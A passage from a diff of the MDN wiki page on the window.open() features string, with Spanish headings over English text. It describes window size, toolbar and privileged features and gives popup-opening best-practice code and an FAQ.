+ <dd>Specifies the width of the content area, viewing area of the new secondary window in pixels. The width value includes the width of the vertical scrollbar if present. The width value does not include the sidebar if it is expanded. The minimum required value is 100.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt>screenX</dt>
+ <dd>Deprecated. Same as <a href="#left">left</a> but only supported by Netscape and Mozilla-based browsers.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>screenY</dt>
+ <dd>Deprecated. Same as <a href="#topS">top</a> but only supported by Netscape and Mozilla-based browsers.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>centerscreen</dt>
+ <dd>Centers the window in relation to its parent's size and position. Requires chrome=yes.</dd>
+ <dt>outerHeight</dt>
+ <dd>Specifies the height of the whole browser window in pixels. This outerHeight value includes any/all present toolbar, window horizontal scrollbar (if present) and top and bottom window resizing borders. Minimal required value is 100.</dd>
+ <dd><strong>Note</strong>: since titlebar is always rendered, then requesting outerHeight=100 will make the innerHeight of the browser window under the minimal 100 pixels.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>outerWidth</dt>
+ <dd>Specifies the width of the whole browser window in pixels. This outerWidth value includes the window vertical scrollbar (if present) and left and right window resizing borders.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>innerHeight</dt>
+ <dd>Same as <a href="#height">height</a> but only supported by Netscape and Mozilla-based browsers. Specifies the height of the content area, viewing area of the new secondary window in pixels. The <var>innerHeight</var> value includes the height of the horizontal scrollbar if present. Minimal required value is 100.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>innerWidth</dt>
+ <dd>Same as <a href="#width">width</a> but only supported by Netscape and Mozilla-based browsers. Specifies the width of the content area, viewing area of the new secondary window in pixels. The innerWidth value includes the width of the vertical scrollbar if present. The innerWidth value does not include the sidebar if it is expanded. Minimal required value is 100.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<h3 id="Toolbar_and_chrome_features" name="Toolbar_and_chrome_features">Barra de herramienta y características de chrome</h3>
+
+<dl>
+ <dt>NOTE: All features can be set to yes, 1 or just be present to be "on", set to <em>no</em> or<em> 0 </em>or in most cases just not present to be "off"</dt>
+ <dd>example "status=yes", "status=1" and "status" have identical results</dd>
+ <dt></dt>
+ <dt>menubar</dt>
+ <dd>If this feature is on, then the new secondary window renders the menubar.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the menubar by setting <code>dom.disable_window_open_feature.menubar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>toolbar</dt>
+ <dd>If this feature is on, then the new secondary window renders the Navigation Toolbar (Back, Forward, Reload, Stop buttons). In addition to the Navigation Toolbar, Mozilla-based browsers will render the Tab Bar if it is visible, present in the parent window. (If this feature is set to <var>no</var> all toolbars in the window will be invisible, for example extension toolbars).</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the Navigation Toolbar by setting <code>dom.disable_window_open_feature.toolbar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>location</dt>
+ <dd>If this feature is on, then the new secondary window renders the Location bar in Mozilla-based browsers. MSIE 5+ and Opera 7.x renders the Address Bar.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the location bar by setting <code>dom.disable_window_open_feature.location</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>. {{Fx_minversion_note(3, "In Firefox 3, <code>dom.disable_window_open_feature.location</code> now defaults to <var>true</var>, forcing the presence of the Location Bar much like in IE7. See bug 337344 for more information.")}}</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt>personalbar</dt>
+ <dd>If this feature is on, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if such toolbar is visible, present in the parent window.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the Personal Toolbar/Bookmarks toolbar by setting <code>dom.disable_window_open_feature.personalbar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>directories {{obsolete_inline("2")}}</dt>
+ <dd>Obsolete synonym of personalbar. In IE, it rendered the Links bar. Supported in Gecko up to 1.9.2 and in IE up to 6.</dd>
+ <dt>status</dt>
+ <dd>If this feature is on, then the new secondary window has a status bar. Users can force the rendering of status bar in all Mozilla-based browsers, in MSIE 6 SP2 (<a href="#Note_on_security_issues_of_the_status_bar_presence">Note on status bar in XP SP2</a>) and in Opera 6+. The default preference setting in recent Mozilla-based browser releases and in Firefox 1.0 is to force the presence of the status bar.</dd>
+ <dd><a href="#Note_on_status_bar">Note on status bar</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+
+
+<h3 id="Window_functionality_features" name="Window_functionality_features">Características de funcionalidad de window</h3>
+
+<dl>
+ <dt></dt>
+ <dt>attention {{NonStandardBadge}}</dt>
+ <dd>If this feature is specified, the window is able to open even if another application is already in the foreground. This feature is for Firefox OS applications only, and is currently restricted to certified applications. See {{SectionOnPage("/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/App_permissions", "Internal (Certified) app permissions")}} for more information.</dd>
+ <dd>Supported in: <img alt="" src="https://mdn.mozillademos.org/files/8003/firefox_os_logo_wordmark-75px.png" style="height: 25px; width: 83px;"></dd>
+ <dt>dependent</dt>
+ <dd>If on, the new window is said to be dependent of its parent window. A dependent window closes when its parent window closes. A dependent window is minimized on the Windows task bar only when its parent window is minimized. On Windows platforms, a dependent window does not show on the task bar. A dependent window also stays in front of the parent window.</dd>
+ <dd>Dependent windows are not implemented on MacOS X, this option will be ignored.</dd>
+ <dd>The dependent feature is currently under revision to be removed ({{Bug(214867)}})</dd>
+ <dd>In MSIE 6, the nearest equivalent to this feature is the <code>showModelessDialog()</code> method.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>minimizable</dt>
+ <dd>This setting can only apply to dialog windows; "minimizable" requires <code>dialog=yes</code>. If <code>minimizable</code> is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and <code>minimizable=no</code> will be ignored.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>fullscreen</dt>
+ <dd>Do not use. Not implemented in Mozilla. There are no plans to implement this feature in Mozilla.</dd>
+ <dd>This feature no longer works in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x.</dd>
+ <dd><code>fullscreen</code> always upsets users with large monitor screen or with dual monitor screen. Forcing <code>fullscreen</code> onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users.</dd>
+ <dd><a href="#Note_on_fullscreen">Note on fullscreen</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png"></dd>
+ <dd><code>fullscreen</code> does not really work in MSIE 6 SP2.</dd>
+ <dt>resizable</dt>
+ <dd>If this feature is on, the new secondary window will be resizable.</dd>
+ <dd><strong>Note</strong>: Starting with version 1.4, Mozilla-based browsers have a window resizing grippy at the right end of the status bar, this ensures that users can resize the browser window even if the web author requested this secondary window to be non-resizable. In such case, the maximize/restore icon in the window's titlebar will be disabled and the window's borders won't allow resizing but the window will still be resizable via that grippy in the status bar.
+ <p>Starting with Firefox 3, secondary windows are always resizable ({{Bug(177838)}})</p>
+
+ <div class="note">
+ <p><strong>Tip</strong>: For accessibility reasons, it is strongly recommended to set this feature always on</p>
+ </div>
+ </dd>
+ <dd>Mozilla and Firefox users can force new windows to be easily resizable by setting<br>
+ <code>dom.disable_window_open_feature.resizable</code><br>
+ to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>scrollbars</dt>
+ <dd>If this feature is on, the new secondary window will show horizontal and/or vertical scrollbar(s) if the document doesn't fit into the window's viewport.
+ <div class="note">
+ <p><strong>Tip</strong>: For accessibility reasons, it is strongly encouraged to set this feature always on.</p>
+ </div>
+ </dd>
+ <dd>Mozilla and Firefox users can force this option to be always enabled for new windows by setting<br>
+ <code>dom.disable_window_open_feature.scrollbars</code><br>
+ to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd><a href="#Note_on_scrollbars">Note on scrollbars</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<h3 id="Features_requiring_privileges" name="Features_requiring_privileges">Características que requieren privilegios</h3>
+
+<p>The following features require the <code>UniversalBrowserWrite</code> privilege, otherwise they will be ignored. Chrome scripts have this privilege automatically, others have to request it from the PrivilegeManager.</p>
+
+<dl>
+ <dt>chrome</dt>
+ <dd><strong>Note</strong>: Starting with Mozilla 1.7/Firefox 0.9, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{Bug(244965)}}). Without this privilege, it is ignored.</dd>
+ <dd>If on, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the JavaScript Console are opened this way).</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>dialog</dt>
+ <dd><strong>Note</strong>: Starting with Firefox 44, this feature can only be used with chrome privileges. If content attempts to toggle this feature, it will be ignored.</dd>
+ <dd><span class="float-right"><a href="/@api/deki/files/268/=MenuSystemCommands.png" title="MenuSystemCommands.png"><img alt="MenuSystemCommands.png" class="internal lwrap" src="/@api/deki/files/268/=MenuSystemCommands.png?size=webview" style="float: left; height: 170px; width: 170px;"></a></span>The <code>dialog</code> feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You can access the command system menu with a right-click on the titlebar). Dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. They are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. On Mac systems, dialog windows have a different window border and they may get turned into a sheet.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>modal</dt>
+ <dd><strong>Note</strong>: Starting with Mozilla 1.2.1, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{Bug(180048)}}). Without this privilege, it is ignored.</dd>
+ <dd>If on, the new window is said to be modal. The user cannot return to the main window until the modal window is closed. A typical modal window is created by the <a href="/en-US/docs/DOM/window.alert" title="DOM/window.alert">alert() function</a>.</dd>
+ <dd>The exact behavior of modal windows depends on the platform and on the Mozilla release version.
+ <div class="note">
+ <p><strong>Note:</strong> As of {{Gecko("1.9")}}, the Internet Explorer equivalent to this feature is the {{domxref("window.showModalDialog()")}} method. For compatibility reasons, it's now supported in Firefox. Note also that starting in {{Gecko("2.0")}}, you can use {{domxref("window.showModalDialog()")}} without UniversalBrowserWrite privileges.</p>
+ </div>
+ </dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>titlebar</dt>
+ <dd>By default, all new secondary windows have a titlebar. If set to <var>no or 0</var>, this feature removes the titlebar from the new secondary window.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the titlebar by setting<br>
+ <code>dom.disable_window_open_feature.titlebar</code><br>
+ to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>alwaysRaised</dt>
+ <dd>If on, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>alwaysLowered</dt>
+ <dd>If on, the new created window floats below, under its own parent when the parent window is not minimized. alwaysLowered windows are often referred as pop-under windows. The alwaysLowered window can not be on top of the parent but the parent window can be minimized. In NS 6.x, the alwaysLowered window has no minimize system command icon and no restore/maximize system command.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>z-lock</dt>
+ <dd>Same as <code>alwaysLowered</code>.</dd>
+ <dt>close</dt>
+ <dd>When set to <var>no or 0</var>, this feature removes the system close command icon and system close menu item. It will only work for dialog windows (<code>dialog</code> feature set). <code>close=no</code> will override <code>minimizable=yes</code>.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always have a close button by setting<br>
+ <code>dom.disable_window_open_feature.close</code><br>
+ to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<p>The position and size feature elements require a number to be set. The toolbars and window functionalities can be set with a <var>yes</var> or <var>no</var>; you can use <var>1</var> instead of <var>yes</var> and <var>0</var> instead of <var>no</var>. The toolbar and functionality feature elements also accept the shorthand form: you can turn a feature on by simply listing the feature name in the <var>features</var> string. If you supply the <var>features</var> parameter, then the <code>titlebar</code> and <code>close</code> are still <var>yes</var> by default, but the other features which have a <var>yes</var>/<var>no</var> choice will be <var>no</var> by default and will be turned off.</p>
+
+<p>Example:</p>
+
+<pre class="brush:js">var windowObjectReference; // global variable
+
+function openRequestedPopup() {
+  windowObjectReference = window.open(
+    "http://www.domainname.ext/path/ImgFile.png",
+    "DescriptiveWindowName",
+    "width=420,height=230,resizable,scrollbars=yes,status=1"
+  );
+}</pre>
+
+<p>In this example, the window will be resizable, it will render scrollbar(s) if needed, if the content overflows requested window dimensions and it will render the status bar. It will not render the menubar nor the location bar. Since the author knew about the size of the image (400 pixels wide and 200 pixels high), he added the margins applied to the root element in MSIE 6 which is 15 pixels for top margin, 15 pixels for the bottom margin, 10 pixels for the left margin and 10 pixels for the right margin.</p>
+
+<h2 id="Best_practices" name="Best_practices">Buenas prácticas</h2>
+
+<pre class="brush:js">&lt;script type="text/javascript"&gt;
+var windowObjectReference = null; // global variable
+
+function openFFPromotionPopup() {
+  if(windowObjectReference == null || windowObjectReference.closed)
+  /* if the pointer to the window object in memory does not exist
+     or if such pointer exists but the window was closed */
+
+  {
+    windowObjectReference = window.open("http://www.spreadfirefox.com/",
+   "PromoteFirefoxWindowName", "resizable,scrollbars,status");
+    /* then create it. The new window will be created and
+       will be brought on top of any other window. */
+  }
+  else
+  {
+    windowObjectReference.focus();
+    /* else the window reference must exist and the window
+       is not closed; therefore, we can bring it back on top of any other
+       window with the focus() method. There would be no need to re-create
+       the window or to reload the referenced resource. */
+  };
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindowName"
+ onclick="openFFPromotionPopup(); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<p>The above code solves a few usability problems related to links opening secondary window. The purpose of the <code>return false</code> in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName".</p>
+
+<p>More reading on the use of the target attribute:</p>
+
+<p><a href="http://www.w3.org/TR/html401/present/frames.html#h-16.3.2">HTML 4.01 Target attribute specifications</a></p>
+
+<p><a href="http://www.htmlhelp.com/faq/html/links.html#new-window">How do I create a link that opens a new window?</a></p>
+
+<p>You can also parameterize the function to make it versatile, functional in more situations, therefore re-usable in scripts and webpages:</p>
+
+<pre class="brush:js">&lt;script type="text/javascript"&gt;
+var windowObjectReference = null; // global variable
+
+function openRequestedPopup(strUrl, strWindowName) {
+  if(windowObjectReference == null || windowObjectReference.closed) {
+    windowObjectReference = window.open(strUrl, strWindowName,
+           "resizable,scrollbars,status");
+  } else {
+    windowObjectReference.focus();
+  };
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindow"
+ onclick="openRequestedPopup(this.href, this.target); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<p>You can also make such function able to open only 1 secondary window and to reuse such single secondary window for other links in this manner:</p>
+
+<pre class="brush:js">&lt;script type="text/javascript"&gt;
+var windowObjectReference = null; // global variable
+var PreviousUrl; /* global variable which will store the
+                    url currently in the secondary window */
+
+function openRequestedSinglePopup(strUrl) {
+  if(windowObjectReference == null || windowObjectReference.closed) {
+    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+         "resizable,scrollbars,status");
+  } else if(PreviousUrl != strUrl) {
+    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+      "resizable=yes,scrollbars=yes,status=yes");
+    /* if the resource to load is different,
+       then we load it in the already opened secondary window and then
+       we bring such window back on top/in front of its parent window. */
+    windowObjectReference.focus();
+  } else {
+    windowObjectReference.focus();
+  };
+
+  PreviousUrl = strUrl;
+  /* explanation: we store the current url in order to compare url
+     in the event of another call of this function. */
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a
+ href="http://www.spreadfirefox.com/"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;a
+ href="http://www.mozilla.org/support/firefox/faq"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Firefox FAQ&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<h2 id="FAQ" name="FAQ">FAQ</h2>
+
+<dl>
+ <dt>How can I prevent the confirmation message asking the user whether he wants to close the window?</dt>
+ <dd>You can not. <strong>New windows not opened by javascript can not as a rule be closed by JavaScript.</strong> The JavaScript Console in Mozilla-based browsers will report the warning message: <code>"Scripts may not close windows that were not opened by script."</code> Otherwise the history of URLs visited during the browser session would be lost.</dd>
+ <dd><a href="/en-US/docs/DOM/window.close" title="DOM/window.close">More on the window.close()</a> method</dd>
+ <dt>How can I bring back the window if it is minimized or behind another window?</dt>
+ <dd>First check for the existence of the window object reference of such window and if it exists and if it has not been closed, then use the <a href="/en-US/docs/DOM/window.focus" title="DOM/window.focus">focus()</a> method. There is no other reliable way. You can examine an <a href="#Best_practices">example explaining how to use the focus() method</a>.</dd>
+ <dt>How do I force a maximized window?</dt>
+ <dd>You cannot. All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users.</dd>
+ <dt>How do I turn off window resizability or remove toolbars?</dt>
+ <dd>You cannot force this. Users with Mozilla-based browsers have absolute control over window functionalities like resizability, scrollability and toolbars presence via user preferences in <code>about:config</code>. Since your users are the ones who are supposed to use such windows (and not you, being the web author), the best is to avoid interfering with their habits and preferences. We recommend to always set the resizability and scrollbars presence (if needed) to yes to insure accessibility to content and usability of windows. This is in the best interests of both the web author and the users.</dd>
+ <dt>How do I resize a window to fit its content?</dt>
+ <dd>You can not reliably because the users can prevent the window from being resized by unchecking the <code>Edit/Preferences/Advanced/Scripts &amp; Plug-ins/Allow Scripts to/ Move or resize existing windows</code> checkbox in Mozilla or <code>Tools/Options.../Content tab/Enable Javascript/Advanced button/Move or resize existing windows</code> checkbox in Firefox or by setting <code>dom.disable_window_move_resize</code> to <var>true</var> in <code>about:config</code> or by editing accordingly their <a href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
+ <dd>In general, users usually disable moving and resizing of existing windows because allowing authors' scripts to do so has been abused overwhelmingly in the past and the rare scripts that do not abuse such feature are often wrong, inaccurate when resizing the window. 99% of all those scripts disable window resizability and disable scrollbars when in fact they should enable both of these features to allow a cautious and sane fallback mechanism if their calculations are wrong.</dd>
+ <dd>The window method <a href="/en-US/docs/DOM/window.sizeToContent" title="DOM/window.sizeToContent">sizeToContent()</a> is also disabled if the user unchecks the preference <code>Move or resize existing windows</code> checkbox. Moving and resizing a window remotely on the user's screen via script will very often annoy the users, will disorient the user, and will be wrong at best. The web author expects to have full control of (and can decide about) every position and size aspects of the users' browser window ... which is simply not true.</dd>
+ <dt>How do I open a referenced resource of a link in a new tab? or in a specific tab?</dt>
+ <dd>To open a resource in a new tab see <a href="https://developer.mozilla.org/en-US/docs/XUL/tabbrowser">Tabbed browser</a>. Some <a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/Tabbed_browser?redirectlocale=en-US&amp;redirectslug=Code_snippets%2FTabbed_browser">Code snippets</a> are available. If you are using the SDK, tabs are <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs">handled a bit differently</a></dd>
